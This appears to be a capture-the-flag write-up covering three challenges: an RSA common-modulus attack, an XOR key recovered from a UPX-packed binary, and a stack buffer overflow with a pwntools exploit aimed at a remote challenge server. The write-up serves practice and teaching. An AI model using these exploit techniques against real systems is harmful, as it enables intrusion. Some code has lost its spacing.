The encryption flag has 2 modulus with same flag ( message )
The attack used to get the flag is Common Modulus Attack
Learn more about this attack : https://infosecwriteups.com/rsa-attacks-common-modulus-7bdb34f331a5
Solve.py
import gmpy2from Crypto.Util.number import*n = 21388731509885000178627064516258054470260331371598943108291856742436111736828979864010924669228672392691259110152052179841234423220373839350729519449867096270377366080249815393746878871366061153796079471618562067885157333408378773203102328726963273544788844541658368239189745882391132838451159906995037703318134437625750463265571575001855682002307507556141914223053440116920635522540306152978955166077383503077296996797116492665606386925464305499727852298454712455680910133707466125522128546462287576144499756117801116464261543533542827392699481765864054797509983998681705356909524163419157085924159390221747612487407
e1 =65537e2 =35c1 = 10832767136661619622293208748444962392355211301390434120939858183061348121126484914263671262032603875084667844823015664447375648718327494489656817860025737727356822703892293211022320699697919627907394583787345038714333739600698382532854618636094930253033489471351451429607353151015568123268427367950348329135569722792929241394325167453525160818746481257803112384890621897151307914147207385945644054978785846514561379487923125221730977998641404608153621221989242862072038048891093337039913905830269768414927334743978508494831586214464123847828971941221037875260516473982025116976142753481691811417555124564400023181428
c2 = 15339581512280546253022387613330506135473528946217386214104392886174532962135139018179028980415602501799731665623533337161466343141774695260798342966907592969192136730428838101668117599627074424456369362732331025534652310626217911372168741784410233370188819015541694457313359727564553135243865091813543574169503409997765186767976316668351998243685484183615633052413572395870658899189135714137152486690320920884963915388873421509027812888500063744545503640233833759600980489533968220839778372130766115290961393758948141655306677776381429819578626575875511596616706688649422193432129579216085481063417748767088461582856
defegcd(a,b):if (a ==0):return (b,0,1)else: g, y, x =egcd(b % a, a)return (g, x - (b // a) * y, y)defneg_pow(a,b,n):assert b <0assertGCD(a, n)==1 res =int(gmpy2.invert(a, n)) res =pow(res, b*(-1), n)return resdefcommon_modulus(e1,e2,n,c1,c2): g, a, b =egcd(e1, e2)if a <0: c1 =neg_pow(c1, a, n)else: c1 =pow(c1, a, n)if b <0: c2 =neg_pow(c2, b, n)else: c2 =pow(c2, b, n) ct = c1*c2 % n m =int(gmpy2.iroot(ct, g)[0])returnlong_to_bytes(m)print(common_modulus(e1, e2, n, c1, c2).decode())
# Flag : HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}
by using strings we get to know the binary is compressed by UPX
What is UPX ?
UPX achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression
Let's store the CHECK values locally and xor it with 0xf3 to get flag
solve.py
check_values ='bb a7 b1 88 86 83 8b ac c7 c2 9d 87 ac c6 c3 ac 9b c7 81 97 d2 d2 8e 00'.split(' ')int_values = [int(i,16)for i in check_values]flag =''.join([chr(i ^0xf3) for i in int_values])print(flag)
Flag
└─$./giftwrapWhat's the magic word? HTB{upx_41nt_50_h4rd!!}óWelcome inside...# flag : HTB{upx_41nt_50_h4rd!!}ó
Mr Snowy [ Pwn ]
Solution
Checksec
The NX is enabled which makes the stack unexecutabble
THe PIE is disabled so we dont have to find the address
The binary is just a simple bufferoverflow
Functions of the binary has
Main function
The main funciton after executing calls 3 functions , let's checkout the snowman function
It's quiet difficult to do the task only with asm , I've used Ghidra which has a feature of converting ( almost same ) asm back to the original C code
Snowman Function
voidsnowman(void){int iVar1;char local_48 [64];printstr("\n[*] This snowman looks sus..\n\n1. Investigate 🔎\n2. Let it be ⛄\n> ");fflush(stdout);read(0,local_48,2); iVar1 =atoi(local_48);if (iVar1 !=1) {printstr("[*] It\'s just a cute snowman after all, nothing to worry about..\n");color("\n[-] Mission failed!\n",&DAT_0040161a,&DAT_00401664); /* WARNING: Subroutine does not return */exit(-0x45); }investigate();return;}
When option 1 is selected it calls antoher funtion : investigate()
Inverstigate Function
voidinvestigate(void){int iVar1;char local_48 [64];fflush(stdout);printstr( "\n[!] After some investigation, you found a secret camera inside the snowman!\n\n1.Deactivate ⚠\xfe0f\n2. Break it 🔨\n> "
);fflush(stdout);read(0,local_48,0x108); iVar1 =atoi(local_48);if (iVar1 ==1) {puts("\x1b[1;31m");printstr("[!] You do not know the password!\n[-] Mission failed!\n"); /* WARNING: Subroutine does not return */exit(0x16); } iVar1 =atoi(local_48);if (iVar1 ==2) {puts("\x1b[1;31m");printstr("[!] This metal seems unbreakable, the elves seem to have put a spell on it..\n[-]Mission failed!\n" ); /* WARNING: Subroutine does not return */exit(0x16); }fflush(stdout);puts("\x1b[1;31m");fflush(stdout);puts("[-] Mission failed!");fflush(stdout);return;}
There's another function named deactivate camera
voiddeactivate_camera(void){char acStack104 [48]; FILE *local_38;char*local_30; undefined8 local_28;int local_1c; local_1c =0x30; local_28 =0x2f; local_30 = acStack104; local_38 =fopen("flag.txt","rb");if (local_38 == (FILE *)0x0) {fwrite("[-] Could not open flag.txt, please conctact an Administrator.\n",1,0x3f,stdout); /* WARNING: Subroutine does not return */exit(-0x45); }fgets(local_30,local_1c,local_38);puts("\x1b[1;32m");fwrite("[+] Here is the secret password to deactivate the camera: ",1,0x3a,stdout);puts(local_30);fclose(local_38);return;}
Overflow
So we basically have to find the offset in investigation function, overflow it and set the $rip ( Instruction pointter ) to deactivate_camera function
Find OFFSET
Set breakpoint at exit in investigate() [ address of exit : 0x00000000004013ea ] and create a pattern to find offset
Run the program , give option 1 to go in investigate function
This is how stack will look when we hit our breakpoint
So the OFFSET is 72
Exploit
Send buffer of 72 characters
Add the addresss of deactivate camera function
Send the payload and get the flag
Solve.py
from pwn import*# nc 134.209.30.250:30947p =remote('134.209.30.250',30947)payload =b'A'*72payload +=p64(0x00401165)p.recv()p.sendline(b'1')p.recv()p.sendline(payload)p.interactive()